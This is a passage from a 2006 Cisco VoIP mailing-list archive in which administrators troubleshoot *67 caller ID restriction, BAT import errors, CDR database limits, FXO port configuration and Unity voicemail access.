restrictions were allowed or restricted, etc. is that
hidden somewhere in dna or do i need to do a certain
analysis to see that level of detail in dna?  this is
on 4.02a

--- Wes Sisk <wsisk at cisco.com> wrote:

> yep.  look check the ccm trace with q931 translator
> to make sure  
> we're setting it properly.
> 
> also might be worth a check with Dialed Number
> Analyzer to see what  
> it says.
> 
> /Wes
> 
> On Feb 9, 2006, at 8:52 PM, Erick Bergquist wrote:
> 
> Yea, the route group/detail and gateway is set to
> default and on route pattern is set to restricted,
> so
> the settings on the route pattern should pass
> through
> right?
> 
> --- Wes Sisk <wsisk at cisco.com> wrote:
> 
> > it's configurable
> > 1.on the route pattern
> > 2. where the route gruop is made a member of the
> > route list
> > 3. on the gateway.
> >
> > check all of those.  there is a slim chance the
> PSTN
> > is not honoring the
> > setting.  all you can do to validate that is use
> > q931 translator to look
> > at the outbound SETUP from CM.  the privacy bits
> are
> > part of the called
> > party number and q931 translator decodes nicely.
> >
> > /Wes
> >
> > Erick Bergquist wrote:
> >> Have a situation where have a few 9*67.xxxxxxx
> > route
> >> patterns and the external party mask is
> unchecked,
> > and
> >> calling line presentation is set to restricted on
> > RP.
> >> Route detail is set to default as well as
> > gateway/MGCP
> >> endpoint. But when calls go out the outside
> caller
> > is
> >> seeing the calling party number still.
> >>
> >> The gateway is a 6608. Anyone know what to look
> > for in
> >> the traces to verify the call is going out as
> >> restricted? These *67 patterns used to work in
> > past
> >> I'm being told.
> >>
> >> If you prefix *67 on called party number so it
> > goes
> >> out PRI with *67 the call fails.
> >>
> >> thanks
> >>
> >>
> __________________________________________________
> >> Do You Yahoo!?
> >> Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> >> http://mail.yahoo.com
> >> _______________________________________________
> >> cisco-voip mailing list
> >> cisco-voip at puck.nether.net
> >>
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> >>
> >
> >
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around
> http://mail.yahoo.com
> 
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From erickbe at yahoo.com  Thu Feb  9 22:33:42 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Thu Feb  9 22:33:50 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <3EED7760-E83C-4648-810A-5CEDFDE35E8C@cisco.com>
Message-ID: <20060210033342.81459.qmail@web34308.mail.mud.yahoo.com>

In DNA under the call flow tree it is restricted
there. 

--- Wes Sisk <wsisk at cisco.com> wrote:

> yep.  look check the ccm trace with q931 translator
> to make sure  
> we're setting it properly.
> 
> also might be worth a check with Dialed Number
> Analyzer to see what  
> it says.
> 
> /Wes
> 
> On Feb 9, 2006, at 8:52 PM, Erick Bergquist wrote:
> 
> Yea, the route group/detail and gateway is set to
> default and on route pattern is set to restricted,
> so
> the settings on the route pattern should pass
> through
> right?
> 
> --- Wes Sisk <wsisk at cisco.com> wrote:
> 
> > it's configurable
> > 1.on the route pattern
> > 2. where the route gruop is made a member of the
> > route list
> > 3. on the gateway.
> >
> > check all of those.  there is a slim chance the
> PSTN
> > is not honoring the
> > setting.  all you can do to validate that is use
> > q931 translator to look
> > at the outbound SETUP from CM.  the privacy bits
> are
> > part of the called
> > party number and q931 translator decodes nicely.
> >
> > /Wes
> >
> > Erick Bergquist wrote:
> >> Have a situation where have a few 9*67.xxxxxxx
> > route
> >> patterns and the external party mask is
> unchecked,
> > and
> >> calling line presentation is set to restricted on
> > RP.
> >> Route detail is set to default as well as
> > gateway/MGCP
> >> endpoint. But when calls go out the outside
> caller
> > is
> >> seeing the calling party number still.
> >>
> >> The gateway is a 6608. Anyone know what to look
> > for in
> >> the traces to verify the call is going out as
> >> restricted? These *67 patterns used to work in
> > past
> >> I'm being told.
> >>
> >> If you prefix *67 on called party number so it
> > goes
> >> out PRI with *67 the call fails.
> >>
> >> thanks
> >>
> >>
> __________________________________________________
> >> Do You Yahoo!?
> >> Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> >> http://mail.yahoo.com
> >> _______________________________________________
> >> cisco-voip mailing list
> >> cisco-voip at puck.nether.net
> >>
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> >>
> >
> >
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around
> http://mail.yahoo.com
> 
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From lelio at uoguelph.ca  Thu Feb  9 23:10:13 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb  9 23:10:13 2006
Subject: [cisco-voip] unregistered phones ...
Message-ID: <000a01c62df7$e4b35d90$ca01a8c0@deadfish>

someone posted something about unregistering phones....

found this on the forums

http://forum.cisco.com/eforum/servlet/NetProf;jsessionid=eeuzwf61b1.SJ2B?page=netprof&forum=IP%20Communications%20and%20Video&topic=IP%20Telephony&CommCmd=MB%3Fcmd%3Ddisplay_location%26location%3D.1dda6df4

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From akoul at dataways.gr  Fri Feb 10 05:57:16 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Fri Feb 10 05:57:28 2006
Subject: [cisco-voip] BAT keeps saying "mac address may contain only 12
 Characters, check record number 2"
Message-ID: <43EC718C.3050709@dataways.gr>

Hi all,
i am using the .xlt provided by ccm to add lines in existing phones.

Every time i try to add one line (just for test) to an existing phone i 
keep getting "mac address may contain only 12 Characters, check record 
number 2"

I thing i 'll go crazy with this message...

Anthony Kouloglou

From rratliff at cisco.com  Fri Feb 10 08:20:59 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb 10 08:20:55 2006
Subject: [cisco-voip] BAT keeps saying "mac address may contain only 12
	Characters, check record number 2"
In-Reply-To: <43EC718C.3050709@dataways.gr>
References: <43EC718C.3050709@dataways.gr>
Message-ID: <79B88AA2-B9FF-4C58-95F2-D2AA99C4A2A7@cisco.com>

The obvious answer here would be to make sure whatever data you have  
in the mac address column is 12 hex characters :)

Can you send the file you are trying to import and the version of CM  
and BAT you are using?

-Ryan

On Feb 10, 2006, at 5:57 AM, Anthony Kouloglou wrote:

Hi all,
i am using the .xlt provided by ccm to add lines in existing phones.

Every time i try to add one line (just for test) to an existing phone i
keep getting "mac address may contain only 12 Characters, check record
number 2"

I thing i 'll go crazy with this message...

Anthony Kouloglou
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From karlr at SHERIDAN.EDU  Fri Feb 10 08:40:36 2006
From: karlr at SHERIDAN.EDU (Rubottom, Karl)
Date: Fri Feb 10 08:40:47 2006
Subject: [cisco-voip] CDR
Message-ID: <29365246B78D08469DE4B49D32BCB10E0238FDF9@scmail2.SHERIDAN.EDU>

Is it possible to increase the maximum database rows in the CDR
database? 

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From Nick.Kassel at Charles-Stanley.co.uk  Fri Feb 10 09:24:16 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Fri Feb 10 09:25:49 2006
Subject: [cisco-voip] Analog line / FXO Port issues
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC648201@CSEXCH01.charles-stanley.co.uk>

We are currently trying to set up one of our small remote sites
utilising there 4 existing analogue lines, which have one number spread
across them, we are a using a 4 port vic2-4fxo card in a 1760. We can
make outgoing and incoming calls but are having issues with multiple
incoming calls, we would like each phone to have just the one shared DN
86820 but can't seem to get it to work so have been playing about with
the voiceport and dialpeer configuration by adding another number to
connection plar and on line 2 on the phones, please can any one help out
with the correct way to set it up, below is our current config so far.

 

 

    !

voice-port 1/0

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line

!

voice-port 1/1

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86821

 impedance complex2

 description Wimborne Main Line 2

!

voice-port 1/2

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line 3

!

voice-port 1/3

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line 4

!

no mgcp package-capability res-package

no mgcp package-capability fxr-package

no mgcp timer receive-rtcp

!

!

!

!

dial-peer voice 1 voip

 preference 1

 destination-pattern 86820

 progress_ind setup enable 3

 session target ipv4:172.30.0.2

 dtmf-relay h245-alphanumeric

 no vad

!

dial-peer voice 20 pots

 preference 8

 destination-pattern 9.T

 port 1/3

!

dial-peer voice 21 pots

 preference 9

 destination-pattern 9.T

 port 1/2

!

dial-peer voice 22 pots

 preference 10

 destination-pattern 9.T

 port 1/1

!

dial-peer voice 2 voip

 preference 2

 destination-pattern 86820

 progress_ind setup enable 3

 session target ipv4:172.30.0.2

 dtmf-relay h245-alphanumeric

 no vad

 

 

Regards

 

Nick   

***********************************************************************************************

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From zthoran at yahoo.com  Fri Feb 10 10:14:33 2006
From: zthoran at yahoo.com (Zevier Thoran)
Date: Fri Feb 10 10:50:50 2006
Subject: [cisco-voip] Unity New Messages _ Quick
Message-ID: <20060210151433.84960.qmail@web37110.mail.mud.yahoo.com>

Hi,
How can I program Unity so that I have to press the least amount of buttons to listen to new messages?
Thanks
-Zevier

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 
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From BillS at tns.its.psu.edu  Fri Feb 10 10:59:34 2006
From: BillS at tns.its.psu.edu (Simon, Bill)
Date: Fri Feb 10 10:59:45 2006
Subject: [cisco-voip] Unity New Messages _ Quick
Message-ID: <07A14D6987A5F647B2415D72EDF63B560395973B@tnsex01.tns.its.psu.edu>

I don't know what you're aiming for, but all you have to do is press "1" to
listen to new messages... doesn't get much simpler than that.
 
If you're talking about removing the password prompt, I don't know.  But I
wouldn't recommend it.
 

---
Bill Simon - bills at tns.its.psu.edu - (814) 865-2270
http://tns.its.psu.edu/ <http://tns.its.psu.edu/> 



 


  _____  

From: Zevier Thoran [mailto:zthoran at yahoo.com] 
Sent: Friday, February 10, 2006 10:15 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Unity New Messages _ Quick


Hi,
How can I program Unity so that I have to press the least amount of buttons
to listen to new messages?
Thanks
-Zevier


__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

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From Scott.Voll at wesd.org  Fri Feb 10 11:06:50 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 10 11:06:59 2006
Subject: [cisco-voip] Unity New Messages _ Quick
Message-ID: <D713462ED535184D830F6F6301753E7E01BE13BD@VISHNU.wesd.org>

I think the no password feature is in 4.1.

 

Scott

 

PS.  I don't let them know it's even an option.

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Simon, Bill
Sent: Friday, February 10, 2006 8:00 AM
To: 'cisco-voip at puck.nether.net'
Subject: RE: [cisco-voip] Unity New Messages _ Quick

 

I don't know what you're aiming for, but all you have to do is press "1"
to listen to new messages... doesn't get much simpler than that.

 

If you're talking about removing the password prompt, I don't know.  But
I wouldn't recommend it.

 

---
Bill Simon - bills at tns.its.psu.edu - (814) 865-2270
http://tns.its.psu.edu/

 

	 

	
________________________________


	From: Zevier Thoran [mailto:zthoran at yahoo.com] 
	Sent: Friday, February 10, 2006 10:15 AM
	To: cisco-voip at puck.nether.net
	Subject: [cisco-voip] Unity New Messages _ Quick

	Hi,
	How can I program Unity so that I have to press the least amount
of buttons to listen to new messages?
	Thanks
	-Zevier

	__________________________________________________
	Do You Yahoo!?
	Tired of spam? Yahoo! Mail has the best spam protection around 
	http://mail.yahoo.com 

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From erickbe at yahoo.com  Fri Feb 10 11:14:35 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Fri Feb 10 11:14:43 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <3EED7760-E83C-4648-810A-5CEDFDE35E8C@cisco.com>
Message-ID: <20060210161435.308.qmail@web34312.mail.mud.yahoo.com>

This is Q931 translator of call made... 1234 shows up
on phone as calling party number instead of nothing or
private, etc. 1234 is phones extension and RP does not
have external party mask checked and is set to
restricted. 

SETUP  pd = 8  callref = 0x1EB6
Bearer Capability i = 0x8090A2
Channel ID i = 0xA98393
Calling Party Number i = '!', 0x81, '1234'
Called Party Number i = 0x80, '1235556666'

--- Wes Sisk <wsisk at cisco.com> wrote:

> yep.  look check the ccm trace with q931 translator
> to make sure  
> we're setting it properly.
> 
> also might be worth a check with Dialed Number
> Analyzer to see what  
> it says.
> 
> /Wes
> 
> On Feb 9, 2006, at 8:52 PM, Erick Bergquist wrote:
> 
> Yea, the route group/detail and gateway is set to
> default and on route pattern is set to restricted,
> so
> the settings on the route pattern should pass
> through
> right?
> 
> --- Wes Sisk <wsisk at cisco.com> wrote:
> 
> > it's configurable
> > 1.on the route pattern
> > 2. where the route gruop is made a member of the
> > route list
> > 3. on the gateway.
> >
> > check all of those.  there is a slim chance the
> PSTN
> > is not honoring the
> > setting.  all you can do to validate that is use
> > q931 translator to look
> > at the outbound SETUP from CM.  the privacy bits
> are
> > part of the called
> > party number and q931 translator decodes nicely.
> >
> > /Wes
> >
> > Erick Bergquist wrote:
> >> Have a situation where have a few 9*67.xxxxxxx
> > route
> >> patterns and the external party mask is
> unchecked,
> > and
> >> calling line presentation is set to restricted on
> > RP.
> >> Route detail is set to default as well as
> > gateway/MGCP
> >> endpoint. But when calls go out the outside
> caller
> > is
> >> seeing the calling party number still.
> >>
> >> The gateway is a 6608. Anyone know what to look
> > for in
> >> the traces to verify the call is going out as
> >> restricted? These *67 patterns used to work in
> > past
> >> I'm being told.
> >>
> >> If you prefix *67 on called party number so it
> > goes
> >> out PRI with *67 the call fails.
> >>
> >> thanks
> >>
> >>
> __________________________________________________
> >> Do You Yahoo!?
> >> Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> >> http://mail.yahoo.com
> >> _______________________________________________
> >> cisco-voip mailing list
> >> cisco-voip at puck.nether.net
> >>
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> >>
> >
> >
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around
> http://mail.yahoo.com
> 
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From lelio at uoguelph.ca  Fri Feb 10 11:17:45 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 10 11:17:49 2006
Subject: [cisco-voip] Unity New Messages _ Quick
References: <07A14D6987A5F647B2415D72EDF63B560395973B@tnsex01.tns.its.psu.edu>
Message-ID: <001801c62e5d$86e468b0$30196883@cfs.uoguelph.ca>

I think this brings up the importance of RepDials on the IP phones. Now before I begin ranting, we define RepDials and Speeddials differently. A speed dial is just that, enter a number and it dials it. RepDials on the other hand are 'programmable' with features other than just digits, and have the ability to use pause, pound, star, etc. A repdial on the IP phone programmed with the users vmpilot, userid, password, and whatever keysequence to get into new messages would be do what you want here.

PS: If you are a member of CIPTUG, don't forget the CIPTUG Webinar: FAC Feature Request Review today. Membership has it's priveleges... ;)

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Simon, Bill 
  To: 'cisco-voip at puck.nether.net' 
  Sent: Friday, February 10, 2006 10:59 AM
  Subject: RE: [cisco-voip] Unity New Messages _ Quick


  I don't know what you're aiming for, but all you have to do is press "1" to listen to new messages... doesn't get much simpler than that.

  If you're talking about removing the password prompt, I don't know.  But I wouldn't recommend it.

  ---
  Bill Simon - bills at tns.its.psu.edu - (814) 865-2270
  http://tns.its.psu.edu/







----------------------------------------------------------------------------
    From: Zevier Thoran [mailto:zthoran at yahoo.com] 
    Sent: Friday, February 10, 2006 10:15 AM
    To: cisco-voip at puck.nether.net
    Subject: [cisco-voip] Unity New Messages _ Quick


    Hi,
    How can I program Unity so that I have to press the least amount of buttons to listen to new messages?
    Thanks
    -Zevier

    __________________________________________________
    Do You Yahoo!?
    Tired of spam? Yahoo! Mail has the best spam protection around 
    http://mail.yahoo.com 



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From pwalenta at wi.rr.com  Fri Feb 10 11:20:24 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Fri Feb 10 11:20:27 2006
Subject: [cisco-voip] CDR
In-Reply-To: <29365246B78D08469DE4B49D32BCB10E0238FDF9@scmail2.SHERIDAN.EDU>
Message-ID: <200602101620.k1AGKNo9000111@ms-smtp-01.rdc-kc.rr.com>

The default is 2 million records.  How many more do you need?


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Rubottom, Karl
Sent: Friday, February 10, 2006 7:41 AM
To: cisco-voip at puck-nether.net
Subject: [cisco-voip] CDR



Is it possible to increase the maximum database rows in the CDR database? 

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From medley at mac.com  Fri Feb 10 11:29:50 2006
From: medley at mac.com (Tim Medley)
Date: Fri Feb 10 11:30:05 2006
Subject: [cisco-voip] CDR
In-Reply-To: <200602101620.k1AGKNo9000111@ms-smtp-01.rdc-kc.rr.com>
References: <200602101620.k1AGKNo9000111@ms-smtp-01.rdc-kc.rr.com>
Message-ID: <D37C45FB-BB6A-4B86-B085-A7324FFA5021@mac.com>

Something to consider with increasing the number of CDR's and with  
CDR's in general is that the more CDR records you have in the  
database, the larger your backup files will be and the longer it  
takes to perform an upgrade.

You can always export the CDR's for archival purposes.

tm


Tim Medley
medley at mac.com



On Feb 10, 2006, at 11:20 AM, Philip Walenta wrote:

> The default is 2 million records.  How many more do you need?
>
> From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
> bounces at puck.nether.net] On Behalf Of Rubottom, Karl
> Sent: Friday, February 10, 2006 7:41 AM
> To: cisco-voip at puck-nether.net
> Subject: [cisco-voip] CDR
>
> Is it possible to increase the maximum database rows in the CDR  
> database?
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip

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From Scott.Voll at wesd.org  Fri Feb 10 11:35:16 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 10 11:35:25 2006
Subject: [cisco-voip] Unity New Messages _ Quick
Message-ID: <D713462ED535184D830F6F6301753E7E01BE13C8@VISHNU.wesd.org>

It got postponed until next Friday.

 

Scott

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Friday, February 10, 2006 8:18 AM
To: Simon, Bill; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Unity New Messages _ Quick

 

I think this brings up the importance of RepDials on the IP phones. Now
before I begin ranting, we define RepDials and Speeddials differently. A
speed dial is just that, enter a number and it dials it. RepDials on the
other hand are 'programmable' with features other than just digits, and
have the ability to use pause, pound, star, etc. A repdial on the IP
phone programmed with the users vmpilot, userid, password, and whatever
keysequence to get into new messages would be do what you want here.

 

PS: If you are a member of CIPTUG, don't forget the CIPTUG Webinar: FAC
Feature Request Review today. Membership has it's priveleges... ;)

 

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

	----- Original Message ----- 

	From: Simon, Bill <mailto:BillS at tns.its.psu.edu>  

	To: 'cisco-voip at puck.nether.net' 

	Sent: Friday, February 10, 2006 10:59 AM

	Subject: RE: [cisco-voip] Unity New Messages _ Quick

	 

	I don't know what you're aiming for, but all you have to do is
press "1" to listen to new messages... doesn't get much simpler than
that.

	 

	If you're talking about removing the password prompt, I don't
know.  But I wouldn't recommend it.

	 

	---
	Bill Simon - bills at tns.its.psu.edu - (814) 865-2270
	http://tns.its.psu.edu/

	 

		 

		
________________________________


		From: Zevier Thoran [mailto:zthoran at yahoo.com] 
		Sent: Friday, February 10, 2006 10:15 AM
		To: cisco-voip at puck.nether.net
		Subject: [cisco-voip] Unity New Messages _ Quick

		Hi,
		How can I program Unity so that I have to press the
least amount of buttons to listen to new messages?
		Thanks
		-Zevier

		__________________________________________________
		Do You Yahoo!?
		Tired of spam? Yahoo! Mail has the best spam protection
around 
		http://mail.yahoo.com 

	
________________________________


	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip

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From: "Bev Kandra" <bev at thetranscendgroup.com>
Subject: CIPTUG NOTICE: FAC Webinar Date Change to 2/17 
Date: Wed, 8 Feb 2006 13:25:05 -0800
Size: 22789
Url: https://puck.nether.net/pipermail/cisco-voip/attachments/20060210/8bca6fa1/attachment-0001.mht

From Matt.Slaga at us.didata.com  Fri Feb 10 11:37:18 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Fri Feb 10 11:37:51 2006
Subject: [cisco-voip] CDR
Message-ID: <C1FE15183DA37645BC0633BC604E44F0E1ECDC@USNAEXCH.na.didata.local>

Most third party CDR reporting applications will move the CDR records to
a reporting server nightly prior to backups.  This allows the CDR
database to be purged prior to backup to save space and reduce time to
rebuild.  It also saved on CCM CPU cycles when running large enterprise
call usage reports since the reports are run against the reporting sql
database and not callmanager's.
 
Matt

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Tim Medley
Sent: Friday, February 10, 2006 11:30 AM
To: cisco-voip at puck-nether.net
Subject: Re: [cisco-voip] CDR


Something to consider with increasing the number of CDR's and with CDR's
in general is that the more CDR records you have in the database, the
larger your backup files will be and the longer it takes to perform an
upgrade. 

You can always export the CDR's for archival purposes.

tm


Tim Medley
medley at mac.com



On Feb 10, 2006, at 11:20 AM, Philip Walenta wrote:


	The default is 2 million records.  How many more do you need?


________________________________

		From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Rubottom, Karl
		Sent: Friday, February 10, 2006 7:41 AM
		To: cisco-voip at puck-nether.net
		Subject: [cisco-voip] CDR
		
		

		Is it possible to increase the maximum database rows in
the CDR database? 

	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip





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This e-mail communication and any attachments may contain
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From medley at mac.com  Fri Feb 10 11:38:31 2006
From: medley at mac.com (Tim Medley)
Date: Fri Feb 10 11:38:43 2006
Subject: [cisco-voip] Unity New Messages _ Quick
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE13C8@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE13C8@VISHNU.wesd.org>
Message-ID: <E44004A5-08A3-46AB-A699-053E7E2C3E2A@mac.com>

Actually, We had so many registrations that we had to add a second  
duplicate webinar.

tm


Tim Medley
medley at mac.com



On Feb 10, 2006, at 11:35 AM, Voll, Scott wrote:

> It got postponed until next Friday.
>
>
>
> Scott
>
>
>
>
>
>
>
> From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
> bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
> Sent: Friday, February 10, 2006 8:18 AM
> To: Simon, Bill; cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Unity New Messages _ Quick
>
>
>
> I think this brings up the importance of RepDials on the IP phones.  
> Now before I begin ranting, we define RepDials and Speeddials  
> differently. A speed dial is just that, enter a number and it dials  
> it. RepDials on the other hand are 'programmable' with features  
> other than just digits, and have the ability to use pause, pound,  
> star, etc. A repdial on the IP phone programmed with the users  
> vmpilot, userid, password, and whatever keysequence to get into new  
> messages would be do what you want here.
>
>
>
> PS: If you are a member of CIPTUG, don't forget the CIPTUG Webinar:  
> FAC Feature Request Review today. Membership has it's priveleges... ;)
>
>
>
> ---------------------------------------------------------------------- 
> ----------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more  
> jitter than an
> IP phone on a long haul 10base2  
> connection"                                           LFJ
>
> ----- Original Message -----
>
> From: Simon, Bill
>
> To: 'cisco-voip at puck.nether.net'
>
> Sent: Friday, February 10, 2006 10:59 AM
>
> Subject: RE: [cisco-voip] Unity New Messages _ Quick
>
>
>
> I don't know what you're aiming for, but all you have to do is  
> press "1" to listen to new messages... doesn't get much simpler  
> than that.
>
>
>
> If you're talking about removing the password prompt, I don't  
> know.  But I wouldn't recommend it.
>
>
>
> ---
> Bill Simon - bills at tns.its.psu.edu - (814) 865-2270
> http://tns.its.psu.edu/
>
>
>
>
>
> From: Zevier Thoran [mailto:zthoran at yahoo.com]
> Sent: Friday, February 10, 2006 10:15 AM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Unity New Messages _ Quick
>
> Hi,
> How can I program Unity so that I have to press the least amount of  
> buttons to listen to new messages?
> Thanks
> -Zevier
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
> From: "Bev Kandra" <bev at thetranscendgroup.com>
> Date: February 8, 2006 4:25:05 PM EST
> To: "Voll, Scott" <Scott.Voll at wesd.org>
> Subject: CIPTUG NOTICE: FAC Webinar Date Change to 2/17
>
>
>
>
> <image001.gif>
>
>     FAC Webinar Schedule change!
>
> You are registered for February 17th
>
>
>
>
> You recently registered for the CIPTUG FAC Feature Request Review  
> Webinar on February 10, 2006.
>
>
>
> Please note:  You are now registered for the Friday, February 17th  
> session of the CIPTUG FAC Feature Request Review Webinar.  Date and  
> Dial in changes follow ? noted in bold type.
>
>
>
> Please accept our apologies for any inconvenience this change may  
> cause.
>
>
>
> CIPTUG FAC FEATURE REQUEST REVIEW WEBINAR ? FEBRUARY 17th
>
>
> A review of the top CallManager feature requests submitted to Cisco  
> via the CIPTUG Feature Advocacy Committee process. Cisco will  
> outline the detailed requirements followed by an open discussion  
> soliciting feedback to insure the feature functionality and  
> operation meet the needs of companies that requested the features.
>
>
>
> Date:            February 17, 2006
>
> Time:           1:30pm EST, 12:30pm CST, 10:30am PST
>
> Presenter     Wade Hamblin, Cisco PM CCM
>
>
>
> Meeting ID:        732668
>
> Phone Number:  800-260-2140 (US only) or 1-617-231-2053
>
>
>
> For Immediate Assistance within a call press #0
>
>
> TEST YOUR BROWSER TODAY OR THE DAY BEFORE THE MEETING
>
>
> Visit http://premium.meetingplace.net/mpweb/Scripts/ 
> browsertestupper.asp to check system requirements. You will be able  
> to test the web browser for web conferencing ability. In addition,  
> you will find useful information to help run an efficient and  
> productive meeting.
>
>
>
> To attend choose one of the following options:
>
>
>    a. Use the "Click-to-Attend" web link below or
>
>    b. Call 800-260-2140 (US only) or 1-617-231-2053 and enter  
> Meeting ID 732668 or
>
>    c. Browse to http://wt4gw1.mymeetingplace.net and enter Meeting  
> ID 732668
>
>
>
> "Click-to-Attend" Web Link:
>
> http://wt4gw1.mymeetingplace.net/attend/ 
> FeEkfPmBpDgKjoCbfcNjJlIbNmEhkDbKedhonhJnDaLdIpcpDndHdNkEooieDaIgAjIkkK 
> ahpiHdNoEdAfLpldoFloppbebdbag
>
>
>
>
>
>
>
>
>
>
> <image001.gif>
> Subscription Information
>
> You are receiving this information because you are a current member  
> of CIPTUG. CIPTUG respects the privacy of it's membership and  
> utilizes it's membership list only to facilitate CIPTUG functions  
> and to provide our users with interaction with Associate members.  
> CIPTUG members may choose to limit communications form CIPTUG to  
> issues which require member interaction. For more information about  
> your privacy options as a CIPTUG member and for help in adjusting  
> those options, please contact us at membership at ciptug.org.
>
>
> Approved CIPTUG Communication: kenjohnson at ciptug.org, 2006-January 13
>
> <image001.gif>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip

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From Scott.Voll at wesd.org  Fri Feb 10 11:39:51 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb 10 11:40:01 2006
